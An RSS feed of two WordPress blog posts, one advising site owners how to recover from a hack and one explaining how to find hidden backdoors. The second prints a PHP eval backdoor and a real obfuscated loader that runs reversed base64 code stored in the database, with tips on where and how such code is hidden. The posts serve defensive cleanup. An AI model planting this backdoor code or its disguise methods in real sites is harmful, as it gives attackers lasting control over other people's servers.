<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Otto on WordPress &#187; hack</title>
	<atom:link href="http://ottopress.com/tag/hack/feed/" rel="self" type="application/rss+xml" />
	<link>http://ottopress.com</link>
	<description>You have to use an Ottopress to get fresh squeezed Otto.</description>
	<lastBuildDate>Tue, 08 May 2012 17:46:12 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4-beta4-20725</generator>
	<atom:link rel='hub' href='http://ottopress.com/?pushpress=hub'/>
<cloud domain='ottopress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>How to Cope with a Hacked Site</title>
		<link>http://ottopress.com/2011/how-to-cope-with-a-hacked-site/</link>
		<comments>http://ottopress.com/2011/how-to-cope-with-a-hacked-site/#comments</comments>
		<pubDate>Thu, 03 Feb 2011 04:00:53 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[Rants]]></category>
		<category><![CDATA[backups]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hire]]></category>
		<category><![CDATA[pro]]></category>
		<category><![CDATA[vaultpress]]></category>
		<category><![CDATA[web hosting]]></category>
		<category><![CDATA[website]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://ottopress.com/?p=427</guid>
		<description><![CDATA[There&#8217;s been a lot of articles on this topic over the years (I even wrote one). But I&#8217;m going to tackle this from a different angle, one that I&#8217;m not used to: A non-technical one. Fixing a website &#8220;hack&#8221; is actually a fairly heavy technical thing to do. Most bloggers are not webmasters. They are [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottopress.com/2011/how-to-cope-with-a-hacked-site/' send='true' layout='standard' show_faces='true' width='450' height='65' action='recommend' colorscheme='light' font='lucida+grande'></fb:like><p><a href="http://ottopress.com/files/2011/02/danger.jpg"><img class="alignright size-thumbnail wp-image-428" title="danger" src="http://ottopress.com/files/2011/02/danger-175x200.jpg" alt="" width="175" height="200" /></a>There&#8217;s been a lot of articles on this topic over the years (I even wrote <a title="How to find a backdoor in a hacked WordPress" href="http://ottopress.com/2009/hacked-wordpress-backdoors/">one</a>). But I&#8217;m going to tackle this from a different angle, one that I&#8217;m not used to: A non-technical one.</p>
<p>Fixing a website &#8220;hack&#8221; is actually a fairly heavy technical thing to do. Most bloggers are not webmasters. They are not really technical people. They&#8217;re probably people who simply purchased a web hosting account, maybe set up WordPress using a one-click install, and started blogging. In an ideal world, this sort of setup would be perfectly secure. The fact that it&#8217;s usually not is really a problem for web hosts to figure out.</p>
<p>But often I find that the emails/posts I see that read &#8220;help me my site was hacked what do I do&#8221; or similar don&#8217;t get a lot of help. There&#8217;s a reason for this. People who are asking this question are not usually the type of people who are technically capable of actually fixing the problem. Guiding somebody through this process is non-trivial. Frankly, it&#8217;s kind of a pain in the ass. So those of us capable of fixing such a site (and there are plenty) are reluctant to try to help and basically offer our services for free. The amount of work is high, the frustration is equally high, and there&#8217;s not a lot of benefit in it.</p>
<p>So, with that in mind..</p>
<h3>Step One: Regain control of the site</h3>
<p>By &#8220;control&#8221;, I basically mean to get the passwords back and change them. Tell your webhost to do it if you have to, and read <a href="http://codex.wordpress.org/Resetting_Your_Password">this codex article</a> on how to change your WordPress password even when you can&#8217;t get into WordPress. Also, change your web hosting account password, your FTP password, the database password&#8230; Any password you have even remotely related to your site: change it. Note that doing this will very likely break the site. That&#8217;s okay, down is down, and it would be better to be down than showing hacked spammy crap to the world.</p>
<p>And that&#8217;s another point: take the site down, immediately. Unexpected downtime sucks, but if you&#8217;re showing spam to the world, then Google is sure to notice. If you&#8217;re down for a time, then Google understands and can cope, but if you&#8217;re showing bad things, then Google will think you&#8217;re a bad person. And you don&#8217;t want that.</p>
<p>The idea here is to stop the bleeding. Until you do that, you haven&#8217;t done anything at all.</p>
<h3>Step Two: Don&#8217;t do a damn thing else</h3>
<p>Once you have the passwords and the site is offline, leave it like that.</p>
<p>Seriously, don&#8217;t erase anything, don&#8217;t restore from backup, don&#8217;t do anything until you do what follows next&#8230;</p>
<p>Anything you do at this point destroys vital information. I cannot stress this enough.</p>
<h3>Step Three: Hire a technically competent person to fix it for you</h3>
<p>If you know me, then you know I rarely recommend this sort of thing. I tend to offer technical knowledge and try to help people do-it-themselves. But hey, for some people, there are times when it&#8217;s just a hell of a lot to take in. Webserver security is a complex subject, with a lot of aspects to it. There is a <strong>lot</strong> of background knowledge you need to know.</p>
<p>If you&#8217;re reading this and you don&#8217;t know how a webserver works, or config files, or you don&#8217;t know arcane SQL commands, or you don&#8217;t understand how the PHP code connects to the database and uses templates to generate HTML, then trust me when I tell you that you are not going to fix your website. Not really. Sure, you could probably get it running again, but you can&#8217;t fix it to where it won&#8217;t get hacked again.</p>
<p>So, find a website tech person. Somebody who knows what they&#8217;re doing.</p>
<p><em>(BTW, not me. Seriously, I&#8217;ve got enough to do as is. Just don&#8217;t even ask.)</em></p>
<p>How, you ask? I dunno. Look on the googles. How do you find anybody to do anything? There&#8217;s several sites out there for offering short-term jobs to tech wizards. There is the <a href="http://jobs.wordpress.net/">WordPress Jobs</a> site, but note that I said you need a website person, not necessarily a WordPress person. A lot of people who know WordPress don&#8217;t know websites and security&#8230; Although many of them do and this is not an indictment on the community, it&#8217;s more a recognition of the fact that working with servers and websites in general is not really the same thing as working with WordPress. WP knowledge is useful, but generic server admin experience is much, much better in this situation.</p>
<p>And yes, I said <strong>HIRE</strong>. Seriously, pay up. This is a <strong>lot </strong>of work that requires special knowledge. I know that a lot of people try to run their websites cheaply and such&#8230; Look here, if you&#8217;re paying less than $300 a year to run a website, then why bother? How serious are you about your website anyway? Quality web hosting should cost you more than that, hiring a specialist for a short term day-job is going to run you a fair amount of money. Expect that and don&#8217;t give him too much hassle about it. Feel free to try to argue on the price, but please don&#8217;t be insulting. Offering $50 to fix your site is unfair, as that&#8217;s less than an hour&#8217;s pay for most consultants, and you need one with special skills here. This is a minimum of a day&#8217;s work, probably longer if your site is at all complicated. Just getting it running again without doing everything that needs to be done is probably a 4 hour job. Sure, somebody can hack together a fix in half an hour, but do you ask your automotive guy to just throw the oil at the engine until it runs? Have some respect for the fact that knowledge and skill is valuable, in any profession.</p>
<p>Basically, here&#8217;s what the website guy will be doing, if he knows his business.</p>
<p>First, he&#8217;ll probably backup the site. This includes the files, the databases, any logs that are available, everything. The idea is to grab a copy of the whole blamed thing, as it stands. This is a &#8220;cover-your-ass&#8221; scenario; he&#8217;s going to be making large scale changes to the site, so having a backup is a good idea, even if it is a hacked one. The person will need all of the relevant passwords, but don&#8217;t give them out in advance. He&#8217;ll ask for what he needs from you.</p>
<p>Second, if you already have regular backups (please, start making regular backups&#8230; VaultPress is invaluable in this situation and can help the process out immensely), then he&#8217;ll probably want to restore to a backup from before the hack. And yes, you very likely WILL lose content in this restoration. However, since there is a backup, the content can be recovered later, if it&#8217;s worth the trouble.</p>
<p>(Note, if you don&#8217;t have any backups, then he&#8217;ll try to remove the hack manually. This is error prone and difficult to do. It also takes longer and has a much lower chance of succeeding. It&#8217;s also difficult to know that you got everything out of the site. If anything is left behind, then the site can be re-hacked through hidden backdoors. This is why regular backups are critically important to have.)</p>
<p>Third, he&#8217;ll update everything to the latest versions and perform a security audit of the site. This means looking at all the plugins, themes, permissions on the files, the files themselves, everything. This is to make sure all the main security bases are covered and that it doesn&#8217;t get rehacked while he does the next step. They may talk about &#8220;<a href="http://codex.wordpress.org/Hardening_WordPress">hardening</a>&#8221; the site.</p>
<p>Fourth, from that backup he made earlier, he&#8217;ll likely try to trace where the hack started from. Logs help here, as do the files themselves. This is kind of an art form. You&#8217;re looking at a static picture of a dynamic system. And unfortunately, he may not even be able to tell you what happened or how the attackers got in. Attackers often hide their traces, especially automated tools that do hacking of sites. With any luck, the basic upgrades to the system will be enough to prevent them getting in again, and a security audit by a knowing eye will eliminate the most common ways of attackers getting in. That often is enough.</p>
<h3>Step Four: Prevention</h3>
<p>Once your site is fixed, then you need to take steps to prevent it from happening again. The rules here are the same rules as any other technical system.</p>
<ul>
<li>Regular backups. I can&#8217;t recommend <a href="http://vaultpress.com">VaultPress</a> enough. After my site went offline for a day due to some issues with my webhost (not a hack), I lost some data. VaultPress had it and restoring it was easy. There&#8217;s other good backup solutions too, if you can&#8217;t afford $20 a month (seriously, don&#8217;t cheap out on your website folks!).</li>
<li>Security auditing. There&#8217;s some <a href="http://wordpress.org/extend/plugins/wordpress-file-monitor/">good plugins</a> out there to do automatic scans of your site on a regular basis and warn you about changes. There&#8217;s <a href="http://wordpress.org/extend/plugins/wp-security-scan/">good plugins</a> to do security checks on your sites files. There&#8217;s good tools to check for issues that may be invisible to you. Use them, regularly. Or at least install them and let them run and warn you of possible threats.</li>
<li>Virus scanning. My website got hacked one time only. How? A trojan made it onto my computer and stole my FTP password, then an automated tool tied to that trojan tried to upload bad things to my site. It got stopped halfway (and I found and eliminated the trojan), but the point is that even tech-ninjas like me can slip up every once in a while. Have good security on your home computer as well.</li>
<li>Strong passwords. There is no longer any reason to use the same password everywhere. There is no longer any excuse for using a password that doesn&#8217;t look like total gibberish. Seriously, with <a href="http://www.google.com/search?q=gawker+hack">recent hacks</a> making this sort of thing obvious, everybody should be using a password storage solution. I tried several and settled on <a href="http://lastpass.com/">LastPass</a>. Other people I know use <a href="http://agilewebsolutions.com/onepassword">1Password</a>. This sort of thing is a requirement for secure computing, and everybody should be using something like it.</li>
</ul>
<p>These are some basic thoughts on the subject, and there&#8217;s probably others I haven&#8217;t considered. Security is an ever changing thing. The person you hire may make suggestions, and if they&#8217;re good ones, it may be worth retaining him for future work. If your site is valuable to you, then it may be worth it to invest in its future.</p>
<p>And yes, anybody can learn how to do this sort of thing. Probably on their own. The documentation is out there, the knowledge is freely available, and many tutorials exist. But sometimes you need to ask yourself, is this the right time for me to learn how to DIY? If you need quick action, then it might just be worth paying a pro.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F8z&count=vertical&related=otto42%2Cottodestruct&text=How to Cope with a Hacked Site' class='twitter-share-button' data-text='How to Cope with a Hacked Site' data-url='http://otto42.com/8z' data-counturl='http://ottopress.com/2011/how-to-cope-with-a-hacked-site/' data-count='vertical' data-via='ottodestruct' data-related='otto42,ottodestruct'></a><span class="fb_share"><fb:like href="http://ottopress.com/2011/how-to-cope-with-a-hacked-site/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottopress.com/2011/how-to-cope-with-a-hacked-site/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottopress.com/2011/how-to-cope-with-a-hacked-site/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
	
		<media:thumbnail url="http://ottopress.com/files/2011/02/danger-175x200.jpg" />
		<media:content url="http://ottopress.com/files/2011/02/danger.jpg" medium="image">
			<media:title type="html">danger</media:title>
			<media:thumbnail url="http://ottopress.com/files/2011/02/danger-175x200.jpg" />
		</media:content>
	</item>
		<item>
		<title>How to find a backdoor in a hacked WordPress</title>
		<link>http://ottopress.com/2009/hacked-wordpress-backdoors/</link>
		<comments>http://ottopress.com/2009/hacked-wordpress-backdoors/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 22:27:48 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Rants]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://ottopress.com/?p=41</guid>
		<description><![CDATA[Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/ Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found. In so doing, it occurred to me that [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://ottopress.com/2009/hacked-wordpress-backdoors/' send='true' layout='standard' show_faces='true' width='450' height='65' action='recommend' colorscheme='light' font='lucida+grande'></fb:like><p>Originally posted here: <a href="http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/">http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/</a></p>
<p>Over <a href="http://jungleg.com/2009/09/21/feeling-secure-with-the-latest-wordpress-version-think-again-and-7-tips-to-secure-it/">here</a>, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some <a href="http://friendfeed.com/jungleg/5e3b8b40/feeling-secure-with-latest-wordpress-version">minor back and forth on FriendFeed</a>, I got him to do a search which found a malicious backdoor he might not otherwise have found.</p>
<p>In so doing, it occurred to me that most people don&#8217;t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I&#8217;d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.</p>
<p>Non-technical users can safely ignore this post. <img src='http://ottopress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<span id="more-41"></span></p>
<p>What&#8217;s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.</p>
<p>However, let&#8217;s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It&#8217;s also time-consuming. But, if you don&#8217;t have regular backups, you may have no real choice.</p>
<p>First, the obvious stuff:</p>
<ul>
<li>A backdoor is code that has been added to your site.</li>
<li>It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.</li>
<li>It will be disguised to seem innocuous, or at least non threatening.</li>
<li>It will most likely involve additions to the database.</li>
</ul>
<p>Let&#8217;s go over these individual points one at a time.</p>
<h3>Added code</h3>
<p>While it&#8217;s true that simple &#8220;backdoors&#8221; often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the <a href="http://us.php.net/eval">eval</a> command.</p>
<p>A simple example would be this:</p>
<pre class="brush: php; notranslate">eval($_POST['attacker_key']);</pre>
<p>This, very simply, executes any PHP code sent to it from a browser.</p>
<p>Of course, they wouldn&#8217;t put this code just anywhere&#8230; It has to not be that easy to find, and it has to survive a normal WordPress upgrade.</p>
<h3>How to hide code</h3>
<p>First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There&#8217;s three obvious places:</p>
<p>1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.</p>
<p>2. Plugins. Plugins are a good place to hide code. People don&#8217;t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.</p>
<p>3. Uploads. Perfect. It&#8217;s explicitly designed to be writable. People don&#8217;t generally see what&#8217;s in the folders, since they&#8217;re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.</p>
<h3>The art of disguise</h3>
<p>This one is easy.</p>
<p>Step 1: Pick a name that looks harmless.</p>
<p>wp-cache.old. email.bak. wp-content.old.tmp. Something you won&#8217;t think of. Remember, it doesn&#8217;t have to end with PHP just because it&#8217;s got PHP code in it.</p>
<p>Step 2: Hide the code itself.</p>
<p>Except in <a href="http://wordpress.org/extend/plugins/php-code-widget/">special circumstances</a>, legitimate code will not use &#8220;eval&#8221;. But, it happens often enough to be generally considered not harmful in and of itself. So looking for &#8220;eval&#8221; is not a good way to find malicious code.</p>
<p>However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is <a href="http://us3.php.net/base64_encode">base64 encoding</a>.</p>
<p>Base 64 encoding lets them disguise their commands to their hidden &#8220;eval&#8221; command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: <a href="http://php.net/base64_decode">base64_decode</a>.</p>
<p>Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There&#8217;s almost never a good reason to use them. Note the &#8220;almost&#8221; there, many plugins (notably the venerable <a href="http://wordpress.org/extend/plugins/google-sitemap-generator/">Google Sitemap Generator</a>) use base64_decode in legitimate ways. So it&#8217;s not exactly a smoking gun, but it is <em>highly</em> questionable for some randomly named file lying around to have that inside it.</p>
<p>Smarter authors realize this, and so have taken steps to hide even that sign&#8230;</p>
<h3>Database obfuscation</h3>
<p>Here&#8217;s a bit of code I&#8217;ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.</p>
<p>Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was <a href="http://us.php.net/manual/en/function.include.php">included</a> at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).</p>
<pre class="brush: php; notranslate">global $wpdb;
$trp_rss=$wpdb-&gt;get_var(
&quot;SELECT option_value FROM $wpdb-&gt;options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'&quot;);
preg_match(&quot;!events or a cale\&quot;\;s\:7\:\'(.*?)\'!is&quot;,$trp_rss,$trp_m);
$trp_f=create_function(&quot;&quot;,strrev($trp_m[1]));
$trp_f();
</pre>
<ol>
<li>It retrieves a value from the WordPress database.</li>
<li>It pulls a specific section of that value out.</li>
<li>It creates a function to run that value as PHP code.</li>
<li>It runs that function.</li>
</ol>
<p>Note how it cleverly avoids all the warning signs.</p>
<ul>
<li>Nowhere does it use &#8220;eval&#8221;.</li>
<li>base64 is not visible at all.</li>
<li>The function named strrev is used. strrev reverses a string. So the code that it&#8217;s pulling out is reversed! So much for looking for &#8220;base64_decode&#8221;.</li>
</ul>
<p>The actual value in the database looked like this:</p>
<pre>...a bunch of junk here...J3byJXZ"(edoced_46esab(lave</pre>
<p>Reverse that. What do you have? Why, it&#8217;s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.</p>
<p>The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.</p>
<p>So, break down how this code works.</p>
<ol>
<li>The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.</li>
<li>That code, which does not use any trigger words, loads a nondescript value from the options table.</li>
<li>It performs some string operations on that code, then executes it.</li>
<li>The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.</li>
</ol>
<h3>Summary</h3>
<p>This is the sort of thing you&#8217;re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I&#8217;ve never seen a hacked WordPress installation that was missing it. Sometimes there&#8217;s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.</p>
<p>And one more thing&#8230; before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn&#8217;t actually hacked already, before you put the latest code on there. If you don&#8217;t fully clean up after a hack, then you *stay* hacked. It&#8217;s not a new hack, it&#8217;s the same one.</p>
<p>The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don&#8217;t know that for sure is really not all that helpful. You&#8217;re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they&#8217;re found. But they can&#8217;t patch code that made it onto your site from some other method, can they? Just something to keep in mind.</p>
<a href='http://twitter.com/share?url=http%3A%2F%2Fotto42.com%2F3&count=vertical&related=otto42%2Cottodestruct&text=How to find a backdoor in a hacked WordPress' class='twitter-share-button' data-text='How to find a backdoor in a hacked WordPress' data-url='http://otto42.com/3' data-counturl='http://ottopress.com/2009/hacked-wordpress-backdoors/' data-count='vertical' data-via='ottodestruct' data-related='otto42,ottodestruct'></a><span class="fb_share"><fb:like href="http://ottopress.com/2009/hacked-wordpress-backdoors/" layout="box_count"></fb:like></span><div class="plusone"><g:plusone size=tall annotation=bubble align=left href="http://ottopress.com/2009/hacked-wordpress-backdoors/"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://ottopress.com/2009/hacked-wordpress-backdoors/feed/</wfw:commentRss>
		<slash:comments>46</slash:comments>
	
	</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using xcache
Object Caching 576/587 objects using xcache

Served from: ottodestruct.com @ 2012-05-17 00:55:10 -->
